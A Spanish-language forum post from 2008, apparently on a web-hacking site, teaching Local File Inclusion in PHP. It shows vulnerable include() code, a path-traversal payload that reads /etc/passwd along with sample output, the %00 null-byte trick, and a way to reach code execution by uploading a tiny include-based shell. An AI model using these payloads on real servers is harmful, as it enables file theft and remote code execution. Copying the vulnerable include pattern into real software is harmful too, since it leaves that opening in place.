vZack
Noviembre 19, 2008, 05:14:43 pm *
Bienvenido(a), Visitante. Favor de ingresar o registrarse.

Ingresar con nombre de usuario, contraseña y duración de la sesión
Noticias: Retos de vZack.com, demuestra todo lo que sabes sobre vulnerabilidades a nivel web click aquí para acceder
 
   Inicio   Ayuda Ingresar Registrarse  
Páginas: [1]   Ir Abajo
  Imprimir  
Autor Tema: Tutorial LFI  (Leído 524 veces)
vZer
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 279


WWW
« en: Julio 29, 2008, 09:37:28 pm »

¿De que se trata?
Se trata de un bug que permite la ejecución de código de un archivo local.

Ejemplo de LFI:
Código:
<?php
include('./toolz/'.$_GET['archivo']);
 
?>
En ese código la función include ejecuta el codigo de './toolz/'.$_GET['archivo']. Siendo $_GET['archivo'] una variable de entrada obtenida por get. ejemplo: index.php?archivo=file.rar

Como explotarlo
La manera de explotarlo es modificando la variable de entrada por una que nosotros queramos, para así, conseguir ejecutar o leer el contenido de el archivo que nosotros le indiquemos.
Teniendo el código anterior un ejemplo seria:
index.php?archivo=../../../../../../../etc/passwd  así leeríamos el archivo /etc/passwd que contiene los nombres de los usuarios en linux:

Código:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

Utilizando el null byte
Hay veces en las que el código que tiene LFI es algo asi:

Código:
<?php
include('./toolz/'.$_GET['archivo'].'.inc');
 
?>

En ese caso en teoría solo podríamos leer archivos con extensión .inc. Pero con el null byte podemos hacer que php ignore todos los caracteres después de %00. Así conseguiríamos quitar el .inc del final.
Ejemplo:
index.php?archivo=../../../../../etc/passwd%00de aquí en adelante php no leera nada
Nota: El null byte no funciona en todos los servidores.


Ejecutando php con un bug LFI
Tenemos que conseguir subir/modificar un archivo del servidor, no importa la extensión, con código php en su interior al servidor en el que se encuentra el bug LFI. Para asi ejecutar el código de su interior.

Por ejemplo yo gracias a un uploader e subido un archivo .rar con este código:

Código:
<?php
include($_GET['shell']);
?>

luego tienes que sacar la path donde se encuentra el archivo que has subido/modificado y incluir gracias al lfi y tu código php se ejecutara.

Saludos y no dudéis en preguntar dudas...
En línea

Páginas: [1]   Ir Arriba
  Imprimir  
 
Ir a:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.1 | SMF © 2006-2008, Simple Machines LLC XHTML 1.0 válido! CSS válido!